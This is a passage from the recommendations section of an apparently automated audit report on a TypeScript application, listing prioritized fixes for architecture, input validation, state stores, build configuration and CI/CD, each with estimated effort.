ARCH-6: Fix `resolver.ts` silent no-op

Replace `() => undefined` with `"throw new Error(Service method not found)"` or at minimum `console.error()`. This prevents silent failures from propagating through the system. Estimated effort: 4 hours.

SEC-3: Add Zod validation to `JSON.parse` calls

Wrap all `JSON.parse()` calls on external data (`localStorage`, `BroadcastChannel`, LLM responses) with appropriate Zod schemas. This closes a significant input validation gap. Estimated effort: 4 hours.

BUILD-1 + BUILD-2: Add E2E and Docker to CI

Add Playwright E2E test job and Docker build verification job to `.github/workflows/ci.yml`. This ensures regressions are caught automatically. Estimated effort: 4 hours.

7.3 Medium Priority (P2 - Next Quarter)

These are architectural improvements that will reduce technical debt and improve maintainability over the medium term.

Break `kernel/index.ts` barrel file

Replace barrel exports with direct imports in each consumer. This eliminates the primary cycle propagation mechanism. Each consumer should import only the specific contract or service it needs. Estimated effort: 4 hours.

Split `useChatStore` into 3 specialized stores

Decompose the 726-line `God` Object into `useSessionStore` (CRUD + persistence), `useChatActions` (`sendMessage`, `cancelSending`), and `useStreamHandler` (`STREAM_CHUNK/END/ERROR` processing). Estimated effort: 8 hours.

Add chunk splits for heavy dependencies

Add `manualChunks` entries for `sql.js`, `@huggingface/transformers`, and `framer-motion` in `vite.config.ts`. Reduce `chunkSizeWarningLimit` to 500. Estimated effort: 2 hours.

Implement reference counting for singleton stores

Add reference counting to `debateLiveStore` and `topologyTraceStore` to prevent premature `destroy()` calls when multiple components use the same store. Estimated effort: 2 hours.

Add `Dexie CompoundIndex` for memories

Add indexes on `metadata.type` and `metadata.timestamp` to the `memories` table schema, and convert JS-side filtering to `Dexie` `where()` clauses. Estimated effort: 3 hours.

Unify store patterns

Decide on one primary pattern (`Zustand` with selectors) and migrate `useKeyStore` and `useSystemStatus` to it. Document the chosen pattern and cleanup strategy. Estimated effort: 6 hours.

Update all documentation

Fix the 8+ discrepancies between docs and reality, update `DEBT_REPORT.md` with the actual cycle count (166), and update `STRUCTURE.md` with current file locations. Estimated effort: 4 hours.

Enable `noUnusedLocals` and `noUnusedParameters`

Gradually enable these TypeScript strictness options, starting with `noUnusedLocals: true`, to prevent dead code accumulation. Estimated effort: 1 hour for config, ongoing for fixes.

7.4 Long-Term Strategy (P3)

These are fundamental architectural changes that would require significant refactoring but would dramatically improve the project health and maintainability in the long run.

Replace Service Locator with true DI

Eliminate `instances.ts` as a service locator by converting consumers to constructor injection. Services should receive their dependencies through the DI container at registration time, not by importing from a global locator. This is the most impactful architectural change possible, but also the most disruptive. Estimated effort: 20-30 hours.

Reduce circular dependencies to zero

Following the elimination of the three root causes (`instances.ts`, `dal/types.ts` cycle, `kernel/index.ts` barrel), systematically resolve the remaining cycles. This should be done incrementally, measuring the cycle count with `madge` after each change. Target: fewer than 10 cycles within 6 months. Estimated effort: 40-60 hours total.

Establish CD pipeline

Add a deployment stage to CI with Docker image push to a registry, automated deployment to staging, and manual promotion to production. Include smoke tests after deployment. Estimated effort: 8 hours.

Implement comprehensive E2E test suite

Replace the 4 trivial tests with meaningful test flows covering: chat message send/receive, debate creation and execution, provider switching, key management, and

data persistence across reload. Estimated effort: 16 hours.

This audit report was generated through automated deep analysis of the ai-os-new codebase, examining 868 files across architecture, state management, security, and build/deploy dimensions. All issues are referenced by file path and line number where applicable. The recommendations are prioritized by impact and effort to provide an actionable roadmap for improvement.